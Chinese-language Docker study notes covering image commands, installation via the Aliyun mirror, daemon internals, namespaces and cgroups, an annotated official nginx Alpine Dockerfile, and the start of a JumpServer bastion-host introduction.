$ docker pull nginx:stable-alpine
stable-alpine: Pulling from library/nginx
97518928ae5f: Pull complete
a15dfa83ed30: Pull complete
acae0b19bbc1: Pull complete
fd4282442678: Pull complete
b521ea0d9e3f: Pull complete
b3282d03aa58: Pull complete
Digest: sha256:74694f2de64c44787a81f0554aa45b281e468c0c58b8665fafceda624d31e556
Status: Downloaded newer image for nginx:stable-alpine
docker.io/library/nginx:stable-alpine

下载后的镜像位于:

1
/var/lib/docker/overlay2/镜像ID

查看镜像分层历史 history

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ docker image history nginx:latest
IMAGE CREATED CREATED BY SIZE COMMENT
605c77e624dd 11 months ago /bin/sh -c #(nop) CMD ["nginx" "-g" "daemon… 0B
<missing> 11 months ago /bin/sh -c #(nop) STOPSIGNAL SIGQUIT 0B
<missing> 11 months ago /bin/sh -c #(nop) EXPOSE 80 0B
<missing> 11 months ago /bin/sh -c #(nop) ENTRYPOINT ["/docker-entr… 0B
<missing> 11 months ago /bin/sh -c #(nop) COPY file:09a214a3e07c919a… 4.61kB
<missing> 11 months ago /bin/sh -c #(nop) COPY file:0fd5fca330dcd6a7… 1.04kB
<missing> 11 months ago /bin/sh -c #(nop) COPY file:0b866ff3fc1ef5b0… 1.96kB
<missing> 11 months ago /bin/sh -c #(nop) COPY file:65504f71f5855ca0… 1.2kB
<missing> 11 months ago /bin/sh -c set -x && addgroup --system -… 61.1MB
<missing> 11 months ago /bin/sh -c #(nop) ENV PKG_RELEASE=1~bullseye 0B
<missing> 11 months ago /bin/sh -c #(nop) ENV NJS_VERSION=0.7.1 0B
<missing> 11 months ago /bin/sh -c #(nop) ENV NGINX_VERSION=1.21.5 0B
<missing> 11 months ago /bin/sh -c #(nop) LABEL maintainer=NGINX Do… 0B
<missing> 11 months ago /bin/sh -c #(nop) CMD ["bash"] 0B
<missing> 11 months ago /bin/sh -c #(nop) ADD file:09675d11695f65c55… 80.4MB

查看容器详细信息 inspect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
$ docker image inspect nginx:latest
[
{
"Id": "sha256:605c77e624ddb75e6110f997c58876baa13f8754486b461117934b24a9dc3a85",
"RepoTags": [
"nginx:latest"
],
"RepoDigests": [
"nginx@sha256:0d17b565c37bcbd895e9d92315a05c1c3c9a29f762b011a10c54a66cd53c9b31"
],
"Parent": "",
"Comment": "",
"Created": "2021-12-29T19:28:29.892199479Z",
"Container": "ca3e48389f7160bc9d9a892d316fcbba459344ee3679998739b1c3cd8e56f7da",
"ContainerConfig": {
"Hostname": "ca3e48389f71",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"80/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"NGINX_VERSION=1.21.5",
"NJS_VERSION=0.7.1",
"PKG_RELEASE=1~bullseye"
],
"Cmd": [
"/bin/sh",
"-c",
"#(nop) ",
"CMD [\"nginx\" \"-g\" \"daemon off;\"]"
],
"Image": "sha256:82941edee2f4d17c55563bb926387c3ae39fa1a99777f088bc9d3db885192209",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": [
"/docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"maintainer": "NGINX Docker Maintainers <docker-maint@nginx.com>"
},
"StopSignal": "SIGQUIT"
},
"DockerVersion": "20.10.7",
"Author": "",
"Config": {
"Hostname": "",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"80/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"NGINX_VERSION=1.21.5",
"NJS_VERSION=0.7.1",
"PKG_RELEASE=1~bullseye"
],
"Cmd": [
"nginx",
"-g",
"daemon off;"
],
"Image": "sha256:82941edee2f4d17c55563bb926387c3ae39fa1a99777f088bc9d3db885192209",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": [
"/docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"maintainer": "NGINX Docker Maintainers <docker-maint@nginx.com>"
},
"StopSignal": "SIGQUIT"
},
"Architecture": "amd64",
"Os": "linux",
"Size": 141479488,
"VirtualSize": 141479488,
"GraphDriver": {
"Data": {
"LowerDir": "/var/lib/docker/overlay2/7e01f99d0c11ed39e85b19c848a5593a5e9ebc65d339a266c07cd1f7bd7431ba/diff:/var/lib/docker/overlay2/d74f65dcbc4304207be8a4591b8c83f1d7faa4659da1612d0468e34f507902af/diff:/var/lib/docker/overlay2/ee3d6bfb887a97e99debff027624cc44f7e927852f10ad685c07468175b2f50b/diff:/var/lib/docker/overlay2/9589ebb2cd873d1a650ef2f9d540505edccbb13f838b13b660f1d49a060be769/diff:/var/lib/docker/overlay2/c81f555278e6da337860aebbe14978402627d46d4beb3ad5eaed34ec2b9264fe/diff",
"MergedDir": "/var/lib/docker/overlay2/efe3607d46ef55d39a59cf896b34e8e186d657969a48b121f89dca639f8541f4/merged",
"UpperDir": "/var/lib/docker/overlay2/efe3607d46ef55d39a59cf896b34e8e186d657969a48b121f89dca639f8541f4/diff",
"WorkDir": "/var/lib/docker/overlay2/efe3607d46ef55d39a59cf896b34e8e186d657969a48b121f89dca639f8541f4/work"
},
"Name": "overlay2"
},
"RootFS": {
"Type": "layers",
"Layers": [
"sha256:2edcec3590a4ec7f40cf0743c15d78fb39d8326bc029073b41ef9727da6c851f",
"sha256:e379e8aedd4d72bb4c529a4ca07a4e4d230b5a1d3f7a61bc80179e8f02421ad8",
"sha256:b8d6e692a25e11b0d32c5c3dd544b71b1085ddc1fddad08e68cbd7fda7f70221",
"sha256:f1db227348d0a5e0b99b15a096d930d1a69db7474a1847acbc31f05e4ef8df8c",
"sha256:32ce5f6a5106cc637d09a98289782edf47c32cb082dc475dd47cbf19a4f866da",
"sha256:d874fd2bc83bb3322b566df739681fbd2248c58d3369cb25908d68e7ed6040a6"
]
},
"Metadata": {
"LastTagTime": "0001-01-01T00:00:00Z"
}
}
]

查看本地镜像 ls

等同于 docker images

1
2
3
4
5
6
7
8
9
10
11
12
13
# docker image ls --help
docker image ls [OPTIONS] [REPOSITORY[:TAG]]

Options:
-a, --all Show all images (default hides intermediate images)
--digests Show digests
-f, --filter filter Filter output based on conditions provided
--format string Pretty-print images using a Go template
--no-trunc # 不截断输出,即展示完整的容器ID
-q, --quiet # 只展示容器ID

REPOSITORY # 镜像所属的仓库名称
TAG # 镜像版本号(标识符),默认为latest
1
2
3
4
5
6
7
8
9
10
11
12
13
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 605c77e624dd 11 months ago 141MB

$ docker image ls -q
605c77e624dd

$ docker image ls --no-trunc
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest sha256:605c77e624ddb75e6110f997c58876baa13f8754486b461117934b24a9dc3a85 11 months ago 141MB


IMAGE ID # 镜像唯一ID标识,如果ID相同,说明是同一个镜像有多个名称

REPOSITORY 仓库:

  • 由某特定的 docker 镜像的所有迭代版本组成的镜像仓库
  • 一个 Registry 中可以存在多个 Repository
  • Repository 可分为“顶层仓库”和“用户仓库”
  • Repository 用户仓库名称一般格式为“用户名/仓库名”
  • 每个 Repository 仓库可以包含多个 Tag(标签),每个标签对应一个镜像

镜像导出 save

将本地镜像导出为一个文件(tar 格式),然后复制到其他服务器,导入使用

1
2
3
4
5
# docker help image save
Usage: docker image save [OPTIONS] IMAGE [IMAGE...]

Options:
-o, --output string Write to a file, instead of STDOUT

常见用法:以下两种用法等价

1
2
docker save -o /path/file.tar IMAGE1 IMAGE2 ...
docker save IMAGE1 IMAGE2 ... > /path/file.tar

镜像导入 load

save 导出的镜像 tar 文件,使用load导入

1
2
3
4
5
6
7
# docker help image load

Usage: docker image load [OPTIONS]

Options:
-i, --input string Read from tar archive file, instead of STDIN
-q, --quiet Suppress the load output

常见用法:以下两种用法等价

1
2
docker load -i /data/myimages.tar
docker load < /data/myimages.tar

删除镜像 rm

删除本地镜像

1
2
3
4
5
6
7
8
9
# docker help image rm
Usage: docker image rm [OPTIONS] IMAGE [IMAGE...]

Aliases:
rm, rmi, remove

Options:
-f, --force Force removal of the image # 强制删除
--no-prune Do not delete untagged parents
1
alias rmi='docker image ls -aq | xargs -n1 docker image rm'

镜像打标签 tag

给镜像打标签,类似于起别名,但通常要遵守一定的命名规范,才可以上传到指定的仓库

1
2
3
4
5
6
docker image tag SOURCE_IMAGE[:TAG] TARGET_IMAGE[:TAG]

# TARGET_IMAGE[:TAG] 格式一般为
1.仓库主机FQDN或IP[:端口]
2.项目名(或用户名)
3.image名字:版本 # docker tag alpine alpine:3.11

tag 默认为 latest

先 tag 给镜像打标签,然后再 save 导出镜像,拷贝到其他机器,其他机器可以 load 导入

安装和删除方法

官方文档:https://docs.docker.com/engine/install/
ubuntu:https://docs.docker.com/engine/install/ubuntu/
centos:https://docs.docker.com/install/linux/docker-ce/centos/
阿里云文档:https://developer.aliyun.com/mirror/docker-ce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# ubuntuu
$ sudo apt update
$ sudo apt -y install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
#$ curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add - # ubuntu22.04中废弃了apt-key命令
$ curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/trusted.gpg.d/docker.gpg

$ sudo add-apt-repository \
"deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu \
$(lsb_release -cs) \
stable"
$ sudo apt update
$ sudo apt -y install docker-ce

# 以上是直接安装最新版本,推荐安装时指定版本
$ apt-cache madison docker-ce
$ sudo apt -y install docker-ce=<VERSION_STRING>

二进制安装:https://docs.docker.com/install/linux/docker-ce/binaries/
https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/

配置文件

docker-ce 配置文件:

1
/etc/docker/daemon.json

docker registry 配置文件:

1
2
3
4
# ubuntu,来自containerd.io软件包
/etc/containerd/config.toml
# centos
/etc/containers/registries.conf

docker 命令帮助

https://docs.docker.com/reference/

新版 docker 命令采用结构化格式,虽然老版命令依旧可以使用,但是还是推荐结构化的使用命令,更加规范有效的使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
$ docker help

Usage: docker [OPTIONS] COMMAND

A self-sufficient runtime for containers

Options:
--config string Location of client config files (default "/root/.docker")
-c, --context string Name of the context to use to connect to the daemon (overrides DOCKER_HOST env var and default context set
with "docker context use")
-D, --debug Enable debug mode
-H, --host list Daemon socket(s) to connect to
-l, --log-level string Set the logging level ("debug"|"info"|"warn"|"error"|"fatal") (default "info")
--tls Use TLS; implied by --tlsverify
--tlscacert string Trust certs signed only by this CA (default "/root/.docker/ca.pem")
--tlscert string Path to TLS certificate file (default "/root/.docker/cert.pem")
--tlskey string Path to TLS key file (default "/root/.docker/key.pem")
--tlsverify Use TLS and verify the remote
-v, --version Print version information and quit

Management Commands:
app* Docker App (Docker Inc., v0.9.1-beta3)
builder Manage builds
buildx* Docker Buildx (Docker Inc., v0.9.1-docker)
config Manage Docker configs # 管理docker配置
container Manage containers # 管理容器
context Manage contexts
image Manage images # 管理镜像
manifest Manage Docker image manifests and manifest lists
network Manage networks # 管理网络
node Manage Swarm nodes # 管理Swarm节点
plugin Manage plugins # 管理插件
scan* Docker Scan (Docker Inc., v0.21.0)
secret Manage Docker secrets # 管理docker安全
service Manage services # 管理服务
stack Manage Docker stacks
swarm Manage Swarm # 管理Swarm集群
system Manage Docker # 管理docker系统
trust Manage trust on Docker images # 管理镜像信任
volume Manage volumes # 管理卷

Commands:
attach Attach local standard input, output, and error streams to a running container
build Build an image from a Dockerfile
commit Create a new image from a container's changes
cp Copy files/folders between a container and the local filesystem
create Create a new container
diff Inspect changes to files or directories on a container's filesystem
events Get real time events from the server
exec Run a command in a running container
export Export a container's filesystem as a tar archive
history Show the history of an image
images List images
import Import the contents from a tarball to create a filesystem image
info Display system-wide information
inspect Return low-level information on Docker objects
kill Kill one or more running containers
load Load an image from a tar archive or STDIN
login Log in to a Docker registry
logout Log out from a Docker registry
logs Fetch the logs of a container
pause Pause all processes within one or more containers
port List port mappings or a specific mapping for the container
ps List containers
pull Pull an image or a repository from a registry
push Push an image or a repository to a registry
rename Rename a container
restart Restart one or more containers
rm Remove one or more containers
rmi Remove one or more images
run Run a command in a new container
save Save one or more images to a tar archive (streamed to STDOUT by default)
search Search the Docker Hub for images
start Start one or more stopped containers
stats Display a live stream of container(s) resource usage statistics
stop Stop one or more running containers
tag Create a tag TARGET_IMAGE that refers to SOURCE_IMAGE
top Display the running processes of a container
unpause Unpause all processes within one or more containers
update Update configuration of one or more containers
version Show the Docker version information
wait Block until one or more containers stop, then print their exit codes

Run 'docker COMMAND --help' for more information on a command.

To get more help with docker, check out our guides at https://docs.docker.com/go/guides/

docker 相关信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
lujinkai@Z510:~$ sudo docker system info
Client:
Debug Mode: false #client 端是否开启 debug

Server:
Containers: 3 #当前主机运行的容器总数
Running: 0 #有几个容器是正在运行的
Paused: 0 #有几个容器是暂停的
Stopped: 3 #有几个容器是停止的
Images: 4 #当前服务器的镜像数
Server Version: 19.03.13 #服务端版本
Storage Driver: overlay2 #正在使用的存储引擎
Backing Filesystem: extfs #后端文件系统,即服务器的磁盘文件系统
Supports d_type: true #是否支持 d_type
Native Overlay Diff: true #是否支持差异数据存储
Logging Driver: json-file #日志类型
Cgroup Driver: cgroupfs #Cgroups 类型
Plugins: #插件
Volume: local #卷
Network: bridge host ipvlan macvlan null overlay # overlay 跨主机通信
#日志类型
Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
Swarm: inactive #是否支持 swarm
Runtimes: runc #已安装的runtime
Default Runtime: runc #默认使用的容器runtime
Init Binary: docker-init #初始化容器的守护进程,即 pid 为 1 的进程
containerd version: 8fba4e9a7d01810a393d5d25a3621dc101981175 #版本
runc version: dc9208a3303feef5b3839f4323d9beb36df0a9dd #runc 版本
init version: fec3683 #init 版本
Security Options: #安全选项
apparmor #安全模块,https://docs.docker.com/engine/security/apparmor/
seccomp #安全计算模块,即制容器操作,https://docs.docker.com/engine/security/seccomp/
Profile: default #默认的配置文件
Kernel Version: 5.4.0-53-generic #宿主机内核版本
Operating System: Ubuntu 20.04.1 LTS #宿主机操作系统
OSType: linux #宿主机操作系统类型
Architecture: x86_64 #宿主机架构
CPUs: 4 #宿主机 CPU 数量
Total Memory: 15.56GiB #宿主机总内存
Name: Z510 #宿主机 hostname
ID: 7FJX:7VKN:2YGG:VKRB:5KKA:DB7C:KNLC:UW2N:XH3E:EVEG:OSQJ:EEKV #宿主机 ID
Docker Root Dir: /var/lib/docker #宿主机关于docker数据的保存目录
Debug Mode: false #server 端是否开启 debug
Registry: https://index.docker.io/v1/ #仓库路径
Labels:
Experimental: false #是否测试版
Insecure Registries:
127.0.0.0/8 #非安全的镜像仓库
Registry Mirrors:
https://3417nt4m.mirror.aliyuncs.com/ #镜像仓库
Live Restore Enabled: false #是否开启活动重启 (重启docker-daemon 不关闭容器 )

WARNING: No swap limit support #系统警告信息 (没有开启 swap 资源限制 )

解决上述 SWAP 报警提示:

1
2
3
4
5
6
7
# vim /etc/default/grub
...
GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0 swapaccount=1" #修改此行
...

sudo update-grub
sudo reboot

docker0 网卡

在 docker 安装启动之后,默认会生成一个名称为 docker0 的网卡,默认 IP 地址为 172.17.0.1 的网卡

docker 存储引擎

docker 官方推荐首选存储引擎为 overlay2,需要磁盘分区支持 d-type 功能

docker 服务进程

docker 相关的四个进程:

  • dockerd:服务端程序,被 client 直接访问,父进程为宿主机的 systemd 守护进程
  • docker-proxy:每个进程 docker-proxy 实现对应一个需要网络通信的容器,管理宿主机和容器的之间端口映射,其父进程为 dockerd,如果容器不需要网络则无需启动
  • containerd:被 dockerd 进程调用以实现与 runc 交互
  • containerd-shim:真正运行容器的载体,每个容器对应一个 containerd-shim 进程,其父进程为 containerd

containerd-shim 命令

容器的创建与管理过程

  1. dockerd 通过 grpc 和 containerd 模块通信,由 libcontainerd 负责,通信的 socket:/run/containerd/containerd.sock
  2. containerd 在 dockerd 启动时被启动,然后 containerd 启动 grpc 请求监听,containerd 处理请求,根据请求作出相应动作
  3. run/start/exec 容器,containerd 拉起一个 container-shim,并进行相应的操作
  4. container-shim 被拉起后,start/exec/create 拉起 runc 进程,通过 exit、control 文件和 containerd 通信,通过父子进程关系和 sigchld 监控容器中进程状态
  5. 在整个容器生命周期中,container 通过 epoll 监控容器文件、事件

gRPC

gPRC 是谷歌开发的一款高性能、开源和通用的 RPC 框架,支持众多语言客户端

docker 服务管理

docker 服务基于 C/S 架构,可以实现基于本地和远程方式进行管理

范例:docker 服务添加标签

1
2
3
4
5
6
7
8
9
10
11
$ vim /lib/systemd/system/docker.service
# 修改如下行
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --label="name=docker1"
...


$ docker info
...
Labels:
name=docker1 #此处显示添加的标签
...

docker 的主要目标:一次封装,到处运行

容器和虚拟机技术比较:

  • 容器内的应用直接运行在宿主机的内核之上,容器并没有自己的内核,也不需要虚拟硬件,相当轻量化
  • 容器间是互相隔离,每个容器内都有一个属于自己的独立文件系统、进程空间、网络空间、用户空间等,所以在同一个宿主机上的多个容器之间彼此不会相互影响

docker 的组成

docker 官网:http://www.docker.com
帮助文档:https://docs.docker.com/
docker 镜像:https://hub.docker.com/
docker 中文网站:http://www.docker.org.cn/

镜像和容器:

镜像可以理解为是一个模板,创建实例使用的模板,本质就是一些程序文件的合集
容器是从镜像生成对外提供服务的一个或一组服务,本质就是将镜像中的程序启动后生成的进程

namespace

命名空间,linux 底层概念,在内核层实现,容器使用 namespce 技术实现容器间相互隔离

  • mnt namespace:隔离根,即 chroot 技术。提供磁盘挂载点和文件系统的隔离能力
  • ipc namespace:隔离进程间通信。提供进程间通信的隔离能力,包括信号量,消息队列和共享内存
  • uts namespace:隔离系统信息。提供内核、主机名和域名隔离能力
  • pid namespace:隔离进程号。提供进程隔离能力
  • net namespace:隔离网络。提供网络隔离能力,包括网络设备,网络栈,端口等
  • user namespce:隔离用户。提供用户隔离能力,包括用户和组

Cgroups

Cgroups:Control Groups

Cgroups 最主要的作用,就是限制一个进程组能够使用的资源上限,包括 CPU、内存、磁盘、网络带宽等等。此外,还能够对进程进行优先级设置,资源的计量以及资源的控制(比如 将进程挂起和恢复等操作)

利用 Cgroups,宿主机可以对容器进行资源分配限制,比如 CPU、内存等

容器核心技术

容器规范

容器除了 docker,还有 rkt、Pouch 等,所有容器都要遵守标准的容器规范,这个规范由一个叫 OCI 的组织定,目前 OCI 一共发布了两个规范,分别是 runtime specimage fortmat spec,只要遵守这两个规范,就可以保证容器的可移植性和相互可操作性。

容器 runtime

runtime 是真正运行容器的地方,因此为了运行不同的容器,runtime 需要和操作系统内核紧密合作、相互支持,以便为容器提供相应的运行环境

runtime 类型:lxc、libcontainer、runc、rkt

docker 早期的 runtime 类型是 lxc,现在是 runc

容器管理工具

管理工具连接 runtime 与用户,对用户提供图形或命令方式操作,然后管理工具将用户操作传递给 runtime 执行

  • lxc 的 管理工具是 lxc
  • rkt 的 管理工具是 rkt cli
  • runc 的管理工具是 docker engine,docker engine 包含 daemon 和 cli 两部分额,大家经常提到的 docker 就是 docker engine

容器定义工具

容器定义工具允许用户定义容器的属性和内容,以方便容器能够被保存、共享和重建

docker image:是 docker 容器的模板,runtime 依据 docker image 创建容器

dockerfile:包含 N 个命令的文本文件,通过 dockerfile 创建出 docker image

镜像仓库 Registry

  • docker hub:docker 官方的公共仓库,已经保存了大量的常用镜像,可以方便大家直接使用
  • 阿里云、网易等第三方镜像的公共仓库
  • image registry:docker 官方提供的私有仓库部署工具,无 web 管理界面,目前使用较少
  • harbor:vmware 提供的自带 web 界面自带认证功能的镜像私有仓库,目前有很多公司使用

容器编排工具

  • docker compose:docker 官方实现单机的容器的编排工具
  • docker swarm:docker 官方开发的容器编排引擎
  • Mesos+Marathon:Mesos 是 Apache 下的开源分布式资源管理框架,它被称为是分布式系统的内核。Mesos 最初是由加州大学伯克利分校的 AMPLab 开发的,后在 Twitter 得到广泛使用。通用的集群组员调度平台,mesos(资源分配)与 marathon(容器编排平台)一起提供容器编排引擎功能
  • Kubernetes:google 主导开发的容器编排引擎,内部项目为 Borg,且其同时支持 docker 和 CoreOS,当前已成为容器编排工具事实上的标准

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#
# 注意:此DOCKERFILE是通过"update.sh"生成的
#
# 请不要直接编辑它。
#
FROM alpine:3.16 # 基础镜像,后续的指令都是运行于此基准镜像所提供的运行环境

LABEL maintainer="NGINX Docker Maintainers <docker-maint@nginx.com>" # 指定镜像元数据

ENV NGINX_VERSION 1.22.1 # 定义环境变量
ENV NJS_VERSION 0.7.7
ENV PKG_RELEASE 1

RUN set -x \
# create nginx user/group first, to be consistent throughout docker variants
&& addgroup -g 101 -S nginx \ # -g指定gid, -S创建系统组(这里是busybox,如果是shell,-r创建系统组),组名为 nginx
# -S创建系统用户,-D不分配密码,-H不创建用户家目录,-u指定用户id,-h指定用户家目录,-s指定用户的默认shell, 可从/etc/shells中选择, 如果是给服务用, 指定/sbin/nologin,-G指定用户所属的附加群组,-g指定用户所属的群组, 用户名nginx
&& adduser -S -D -H -u 101 -h /var/cache/nginx -s /sbin/nologin -G nginx -g nginx nginx \
&& apkArch="$(cat /etc/apk/arch)" \ # x86_64
&& nginxPackages=" \
nginx=${NGINX_VERSION}-r${PKG_RELEASE} \ # nginx=1.22.1-r1
nginx-module-xslt=${NGINX_VERSION}-r${PKG_RELEASE} \ # nginx-module-xslt=1.22.1-r1
nginx-module-geoip=${NGINX_VERSION}-r${PKG_RELEASE} \ # nginx-module-geoip=1.22.1-r1
nginx-module-image-filter=${NGINX_VERSION}-r${PKG_RELEASE} \ # nginx-module-image-filter=1.22.1-r1
nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-r${PKG_RELEASE} \ # nginx-module-njs=1.22.1.0.7.7-r1
" \
&& sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories \
# install prerequisites for public key and pkg-oss checks
&& apk add --no-cache --virtual .checksum-deps \
openssl \
&& case "$apkArch" in \
x86_64|aarch64) \
# arches officially built by upstream
set -x \
&& KEY_SHA512="e7fa8303923d9b95db37a77ad46c68fd4755ff935d0a534d26eba83de193c76166c68bfe7f65471bf8881004ef4aa6df3e34689c305662750c0172fca5d8552a *stdin" \
&& wget -O /tmp/nginx_signing.rsa.pub https://nginx.org/keys/nginx_signing.rsa.pub \
&& if [ "$(openssl rsa -pubin -in /tmp/nginx_signing.rsa.pub -text -noout | openssl sha512 -r)" = "$KEY_SHA512" ]; then \
echo "key verification succeeded!"; \
mv /tmp/nginx_signing.rsa.pub /etc/apk/keys/; \
else \
echo "key verification failed!"; \
exit 1; \
fi \
# -X 指定apk仓库:https://nginx.org/packages/alpine/v3.16/main
&& apk add -X "https://nginx.org/packages/alpine/v$(egrep -o '^[0-9]+\.[0-9]+' /etc/alpine-release)/main" --no-cache $nginxPackages \
;; \
*) \
# we're on an architecture upstream doesn't officially build for
# let's build binaries from the published packaging sources
set -x \
&& tempDir="$(mktemp -d)" \
&& chown nobody:nobody $tempDir \
&& apk add --no-cache --virtual .build-deps \
gcc \
libc-dev \
make \
openssl-dev \
pcre2-dev \
zlib-dev \
linux-headers \
libxslt-dev \
gd-dev \
geoip-dev \
perl-dev \
libedit-dev \
bash \
alpine-sdk \
findutils \
&& su nobody -s /bin/sh -c " \
export HOME=${tempDir} \
&& cd ${tempDir} \
# https://hg.nginx.org/pkg-oss/archive/1.22.1-1.tar.gz 包含nginx.conf、nginx.logrotate等各种文件
&& curl -f -O https://hg.nginx.org/pkg-oss/archive/${NGINX_VERSION}-${PKG_RELEASE}.tar.gz \
&& PKGOSSCHECKSUM=\"7266f418dcc9d89a2990f504d99ec58d10febbaf078c03630d42843955cee7e50b0f90fb317360384a32473839dc42d8b329b737015ec8dd0d028f90d4d5ed25 *${NGINX_VERSION}-${PKG_RELEASE}.tar.gz\" \
&& if [ \"\$(openssl sha512 -r ${NGINX_VERSION}-${PKG_RELEASE}.tar.gz)\" = \"\$PKGOSSCHECKSUM\" ]; then \
echo \"pkg-oss tarball checksum verification succeeded!\"; \
else \
echo \"pkg-oss tarball checksum verification failed!\"; \
exit 1; \
fi \
&& tar xzvf ${NGINX_VERSION}-${PKG_RELEASE}.tar.gz \
&& cd pkg-oss-${NGINX_VERSION}-${PKG_RELEASE} \
&& cd alpine \
&& make all \
&& apk index -o ${tempDir}/packages/alpine/${apkArch}/APKINDEX.tar.gz ${tempDir}/packages/alpine/${apkArch}/*.apk \
&& abuild-sign -k ${tempDir}/.abuild/abuild-key.rsa ${tempDir}/packages/alpine/${apkArch}/APKINDEX.tar.gz \
" \
&& cp ${tempDir}/.abuild/abuild-key.rsa.pub /etc/apk/keys/ \
&& apk del .build-deps \
&& apk add -X ${tempDir}/packages/alpine/ --no-cache $nginxPackages \
;; \
esac \
# remove checksum deps
&& apk del .checksum-deps \
# if we have leftovers from building, let's purge them (including extra, unnecessary build deps)
&& if [ -n "$tempDir" ]; then rm -rf "$tempDir"; fi \
&& if [ -n "/etc/apk/keys/abuild-key.rsa.pub" ]; then rm -f /etc/apk/keys/abuild-key.rsa.pub; fi \
&& if [ -n "/etc/apk/keys/nginx_signing.rsa.pub" ]; then rm -f /etc/apk/keys/nginx_signing.rsa.pub; fi \
# Bring in gettext so we can get `envsubst`, then throw
# the rest away. To do this, we need to install `gettext`
# then move `envsubst` out of the way so `gettext` can
# be deleted completely, then move `envsubst` back.
&& apk add --no-cache --virtual .gettext gettext \
&& mv /usr/bin/envsubst /tmp/ \
\
&& runDeps="$( \
scanelf --needed --nobanner /tmp/envsubst \
| awk '{ gsub(/,/, "\nso:", $2); print "so:" $2 }' \
| sort -u \
| xargs -r apk info --installed \
| sort -u \
)" \
&& apk add --no-cache $runDeps \
&& apk del .gettext \
&& mv /tmp/envsubst /usr/local/bin/ \
# Bring in tzdata so users could set the timezones through the environment
# variables
&& apk add --no-cache tzdata \
# Bring in curl and ca-certificates to make registering on DNS SD easier
&& apk add --no-cache curl ca-certificates \
# forward request and error logs to docker log collector
&& ln -sf /dev/stdout /var/log/nginx/access.log \
&& ln -sf /dev/stderr /var/log/nginx/error.log \
# create a docker-entrypoint.d directory
&& mkdir /docker-entrypoint.d

COPY docker-entrypoint.sh /
COPY 10-listen-on-ipv6-by-default.sh /docker-entrypoint.d
COPY 20-envsubst-on-templates.sh /docker-entrypoint.d
COPY 30-tune-worker-processes.sh /docker-entrypoint.d
ENTRYPOINT ["/docker-entrypoint.sh"]

EXPOSE 80

STOPSIGNAL SIGQUIT

CMD ["nginx", "-g", "daemon off;"]

JumpServer 简介

跳板机 和 堡垒机

跳板机:跳板机就是一台服务器,维护人员在维护过程中,首先要统一登录到这台服务器上,然后从这台服务器再登录到目标设备进行维护。但跳板机没有实现对运维人员操作行为的控制和审计,此外,跳板机存在严重的安全风险,一旦跳板机系统被攻入,则将后端资源风险完全暴露无遗。安装 OpenVPN 的机器就是跳板机

堡垒机:跳板机的升级版,提供了认证、授权、审计、自动化运维等功能

可以同时配置 openvpn 和 jumpserver,运维自己通过 openvpn 连接,比较方便,开发测试等其他人员都通过 jumpserver 连接,便于管理

JumpServer 是全球首款完全开源的堡垒机,使用 Python / Django、Go 进行开发,符合 4A 标准

官方地址: http://www.jumpserver.org/
github 项目: https://github.com/jumpserver

特色优势:

  • 开源
  • 分布式
  • 无插件:仅需浏览器,极致的 Web Terminal 使用体验;
  • 多云系统:一套系统,同时管理不同云上面的资产;
  • 云端存储
  • 多租户:一套系统,多个子公司和部门同时使用。

功能列表

https://docs.jumpserver.org/zh/master/#_3,其中部分功能商业版才具有

  • 身份鉴别

    Authentication,防止身份冒用和复用

  • 账号管理

    Account,人员和资产管理

  • 授权控制

